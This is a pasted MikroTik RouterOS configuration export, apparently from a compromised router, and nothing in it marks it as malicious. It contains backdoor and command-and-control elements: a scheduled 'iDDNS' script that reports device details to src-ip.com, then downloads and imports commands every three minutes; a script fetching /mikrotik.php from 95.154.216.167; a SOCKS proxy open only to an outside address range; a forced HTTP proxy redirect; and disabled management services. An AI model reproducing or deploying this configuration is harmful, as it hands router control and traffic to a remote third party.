Advertisement
Guest User

Untitled

a guest
Sep 3rd, 2018
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. # model = 2011iL
  2.  
  3. /interface bridge
  4. add fast-forward=no name=bridge.local
  5.  
  6. /interface ethernet
  7. set [ find default-name=ether1 ] name=ether01
  8. set [ find default-name=ether5 ] name=ether05
  9. set [ find default-name=ether6 ] name=ether06
  10. set [ find default-name=ether9 ] name=ether09
  11. set [ find default-name=ether10 ] disabled=yes
  12.  
  13. /interface pppoe-client
  14. add add-default-route=yes disabled=no interface=ether09 name=\
  15. pppoe.rt password=szt user=szt
  16.  
  17. /interface wireless security-profiles
  18. set [ find default=yes ] supplicant-identity=MikroTik
  19.  
  20. /ip pool
  21. add name=dhcp_pool0 ranges=192.168.8.1-192.168.8.253
  22.  
  23. /ip dhcp-server
  24. add address-pool=dhcp_pool0 disabled=no interface=bridge.local name=dhcp1
  25.  
  26. /system logging action
  27. set 0 memory-lines=1
  28. set 1 disk-file-name=log
  29.  
  30. /interface bridge port
  31. add bridge=bridge.local interface=ether01
  32. add bridge=bridge.local interface=ether2
  33. add bridge=bridge.local interface=ether3
  34. add bridge=bridge.local interface=ether4
  35. add bridge=bridge.local interface=ether05
  36.  
  37. /interface l2tp-server server
  38. set enabled=yes ipsec-secret=mm use-ipsec=yes
  39.  
  40. /interface pptp-server server
  41. set enabled=yes
  42.  
  43. /ip address
  44. add address=192.168.8.254/24 interface=bridge.local network=192.168.8.0
  45. add address=192.168.88.254/24 interface=bridge.local network=192.168.88.0
  46.  
  47. /ip dhcp-server lease
  48. DELETE
  49.  
  50. /ip dhcp-server network
  51. add address=192.168.8.0/24 dns-server=192.168.8.254 gateway=192.168.8.254
  52.  
  53. /ip dns
  54. set allow-remote-requests=yes servers=77.88.8.8
  55.  
  56. /ip dns static
  57. DELETE
  58.  
  59. /ip firewall filter
  60. add action=drop chain=input disabled=yes dst-port=53 in-interface=\
  61. pppoe.rt protocol=tcp
  62. add action=drop chain=input disabled=yes dst-port=53 in-interface=\
  63. pppoe.rt protocol=udp
  64. add action=add-src-to-address-list address-list=Ok address-list-timeout=15s \
  65. chain=input comment=sysadminpxy dst-port=8080 protocol=tcp
  66.  
  67.  
  68. /ip firewall nat
  69. add action=redirect chain=dstnat comment=sysadminpxy dst-port=80 protocol=tcp \
  70. src-address-list=!Ok to-ports=8080
  71. add action=masquerade chain=srcnat out-interface=pppoe.rt \
  72. src-address=192.168.8.0/24
  73. add action=masquerade chain=srcnat out-interface=pppoe.rt \
  74. src-address=192.168.88.0/24
  75. add action=masquerade chain=srcnat out-interface=pppoe.rt \
  76. src-address=192.168.99.0/24
  77.  
  78.  
  79. /ip proxy
  80. set anonymous=yes enabled=yes
  81.  
  82. /ip proxy access
  83. add action=deny
  84.  
  85. /ip service
  86. set telnet disabled=yes
  87. set ftp disabled=yes
  88. set www disabled=yes
  89. set ssh disabled=yes
  90. set api disabled=yes
  91. set winbox disabled=yes
  92. set api-ssl disabled=yes
  93.  
  94. /ip socks
  95. set enabled=yes port=45753
  96.  
  97. /ip socks access
  98. add action=deny src-address=!95.154.216.128/25
  99.  
  100. /ppp secret
  101.  
  102.  
  103. /system clock
  104. set time-zone-name=Europe/Moscow
  105.  
  106. /system routerboard settings
  107. set silent-boot=no
  108.  
  109. /system scheduler
  110. add interval=3m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
  111. ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
  112. start-time=startup
  113.  
  114. /system script
  115. add name=script4_ owner=admin policy=\
  116. ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
  117. ddress=95.154.216.167 port=2008 src-path=/mikrotik.php mode=http keep-resu\
  118. lt=no"
  119.  
  120. add name=iDDNS owner=admin policy=\
  121. ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":\
  122. global mac [/interface ethernet get 1 mac-address]\r\
  123. \n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
  124. \"_\".[/ip proxy get port])\r\
  125. \n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
  126. \".[/interface pptp-server server get enabled])\r\
  127. \n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
  128. \n/tool fetch address=src-ip.com src-path=\$cmd mode=http dst-path=dns;:de\
  129. lay 3s\r\
  130. \n/import dns;:delay 4s;/file remove dns"
  131.  
  132. /tool bandwidth-server
  133. set authenticate=no enabled=no
  134.  
  135. /tool romon
  136. set enabled=yes secrets=DELETE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement